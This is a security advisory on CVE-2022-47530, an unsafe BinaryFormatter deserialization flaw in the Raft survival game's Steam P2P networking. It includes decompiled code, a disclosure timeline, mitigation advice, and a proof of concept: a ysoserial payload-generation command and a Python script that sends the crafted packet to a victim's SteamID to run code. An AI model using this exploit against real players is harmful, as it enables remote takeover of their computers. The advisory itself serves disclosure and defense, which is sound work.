Remote Code Execution in Raft survival game (CVE-2022-47530)

Security advisory

2022/12/13

Thomas Bouzerar

Vulnerability description

Raft survival game

Raft is an open world survival video game developed by Swedish developer Redbeet Interactive, and published by Axolot Games. The game was released as an early access title on 23 May 2018 on Steam, after initial release as a free download on indie platform Itch.io in 2016. The game was taken out of early access and its full version was released on 20 June 2022 with the release of the game's final chapter.

https://en.wikipedia.org/wiki/Raft_(video_game)

Issue description

Synacktiv identified an issue with the way untrusted data is deserialized in various places in Raft. The game relies on a *BinaryFormatter* class instance, which is known to be insecure and depreciated by Microsoft. The issue has been found in the P2P packets handling, where the game deserializes any data received through the network. This allows an attacker to send a crafted P2P packet to the target and run arbitrary code remotely, without any user interaction.

Affected versions

All versions up to 1.08 are known to be affected. Version 1.09 fixes the issue in the network module.

Mitigation

Replacing every occurrences of the *BinaryFormatter* object with a secure (de-)serializer would address the issue easily. For instance, Microsoft suggests using the *XmlSerializer* type instead. Even though the most critical place where the *BinaryFormatter* class is used is in the network handling code, it is advised to replace all other occurrences of this (de-)serializer as well, such as in the *savegame* component.

Timeline

Date	Action
2022/07/07	First ticket created on https://support.redbeetinteractive.com/hc/en-us asking for a PGP key in order to send the details of the vulnerability.
2022/07/16	First ticket closed by Redbeet Interactive support with no reply.
2022/10/02	Second ticket created on Redbeet Interactive support platform, requesting once again a PGP key.
2022/10/11	Second ticket closed by Redbeet Interactive support with no reply.
2022/11/16	Third ticket created and technical details sent through Redbeet Interactive support (in plaintext).
2022/11/25	Third ticket closed by Redbeet Interactive support with no reply.
2022/11/29	Attempt to get in contact through email, Twitter DM and Discord DM.
2022/12/12	No reply received from any of the contact attempts.
2022/12/13	Full public disclosure of the vulnerability.
2022/12/22	Update 1.09 released by Redbeet Interactive, fixing the issue in the network attack vector.

Technical description and proof-of-concept

Insecure deserialization of packet data

In order to allow players to play online, Raft relies on Steam's Steamworks framework to transmit P2P packets. Games are self-hosted by player's computers, to which their Steam friends can connect and start playing the game altogether.

Raft uses an unsafe dotNET (de-)serializer class, namely a *BinaryFormatter* instance in various places of the code base. In this document, we target only the most critical class of the game, namely *Raft_Network.* This class is instantiated as the game is started (even if no game is hosted or joined). Its main purpose is to handle all networking tasks.

The *Raft_Network* class is derived from *MonoBehaviour*, which is the base class from which every Unity Engine script derives. The *Update()* method of any active *MonoBehaviour* class is called every frame. In *Raft_Network*, the *Update()* method only calls two sub-methods:

```
private void Update()
{
    this.ReadP2P_Channel_Connecting();
    this.ReadP2P_Channel_Game();
}
```

The *ReadP2P_Channel_Connecting()* method is responsible for handling incoming data related to a connection attempt or disconnection notification, while the *ReadP2P_Channel_Game()* method is responsible for handling in-game data packets (once the player has joined a game or is hosting a game).

```
private void ReadP2P_Channel_Connecting()
{
  uint num;
  if (SteamNetworking.IsP2PPacketAvailable(out num, 1))
  {
    byte[] array = new byte[num];
    uint num2;
    CSteamID csteamID;
    if (SteamNetworking.ReadP2PPacket(array, num, out num2, out csteamID, 1))
    {
      if (Raft_Network.isHost)
      {
        if (this.CanUserJoinFriendCheck(csteamID) != InitiateResult.Success)
        {
          return;
        }
      }
      else if (!this.IsConnectedToHost &&
          (!this.awaitingConnectionResponseUser.IsValid() ||
            this.awaitingConnectionResponseUser != csteamID))
      {
        return;
      }
      MemoryStream serializationStream = new MemoryStream(array);
      Packet packet = new BinaryFormatter().Deserialize(serializationStream) as Packet;
      /* … */
    }
  }
}
```

In this code snippet, when any packet is available through the Steamworks P2P API, it is read in a byte array. Some packets may be rejected. For instance, if the player is hosting a game, additional checks are done by the method *CanUserJoinFriendCheck.* This method checks the hosting policy: the default game hosting settings allow Steam friends to join a game, but the hosting player can explicitly disallow anyone to join the game (in which case the packets are dropped), or can allow anyone to join the game session, in which case packets are processed even if the packet does not come from a steam friend of the hosting player.

In case the player is not hosting a game and is currently connected to a game, Raft does not drop the packets and deserializes them, even if the packets do not come from a steam friend.

Similarly, the *ReadP2P_Channel_Game* checks if the packets come from a whitelist of users (the whitelist is populated each time a player joins the game session).

```
private void ReadP2P_Channel_Game()
    {
        uint num;
        while (SteamNetworking.IsP2PPacketAvailable(out num, 0))
        {
            byte[] array = new byte[num];
            uint num2;
            CSteamID csteamID;
            if (SteamNetworking.ReadP2PPacket(array, num, out num2, out csteamID, 0))
            {
                if (!this.IsUserWhitelisted(csteamID))
                {
                    return;
                }
                MemoryStream serializationStream = new MemoryStream(array);
                BinaryFormatter binaryFormatter = new BinaryFormatter();
                Packet packet = binaryFormatter.Deserialize(serializationStream) as Packet;
```

In the end, an attacker can send arbitrary P2P packets to the target player if:

- the victim player is hosting a game and the attacker is a Steam friend of the victim;
- the victim player is not hosting a game but is connected to a game session (the attacker does not need to be friend on Steam with the victim).

At this point, an attacker may have sent an arbitrary packet using the Steamworks P2P API. The issue here is that the untrusted buffer is then deserialized using a *BinaryFormatter* class instance, which is insecure and depreciated, as described in the MSDN:

"The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can't be made secure." (https://learn.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide)

Proof of concept

It is trivial to generate payloads which will happily execute arbitrary code when unserialized with a *BinaryFormatter* class instance using, for example, *ysoserial.net* (https://github.com/pwntester/ysoserial.net):

```
ysoserial -f BinaryFormatter -g TypeConfuseDelegateMono -c calc.exe > payload.bin
```

In order to send the malicious packet to a target, the SteamNetworking interface API has been added to the *SteamworksPy* wrapper (https://github.com/philippj/SteamworksPy). Then, the following script can be used to send the crafted packet to anyone playing Raft, which will pop a calculator remotely on their computer:

```
from steamworks import STEAMWORKS

steamworks = STEAMWORKS()
steamworks.initialize()

target_SteamID = … # Victim SteamID (64 bits)
data = open("payload.bin", 'rb').read()
eP2PSendType, channel = 2, 1
steamworks.Networking.SendP2PPacket(target_SteamID, data, eP2PSendType, channel)
```

This Proof of Concept has been successfully tested and managed to execute arbitrary code remotely with no user interaction from the victim player (0-click) in the latest version of Raft (Version 1.08 (9078615)).

UPDATE: Raft 1.09 fixes the issue in the network vector attack

The 1.09 update has been pushed on Steam on the 12/22/2022. The game now uses a proper binary serializer (namely, *Odin Serializer*, which is widely used in Unity engine based games) for transmitting network packets, successfully mitigating the issue described in this document.

Nevertheless, the improper *BinaryFormatter* serializer is still used in the savegame management code, thus putting at risk the users sharing their savegames. It is advised not to download untrusted *.RGD files (i.e: saved world game files and settings files), as they could be abused to run arbitrary code on a computer loading those files through Raft the same way described in this document.

Fixing the issue in the savegame code would have broken all game worlds created in a version prior to the 1.09 patch, which is probably why Redbeet Interactive did not provide a patch for this issue, even though we believe this should still be addressed.

Players using the **1.09 version of Raft** are now **safe playing the game online**. Yet, it is recommended **not to download RGD files from the internet** or from untrusted people.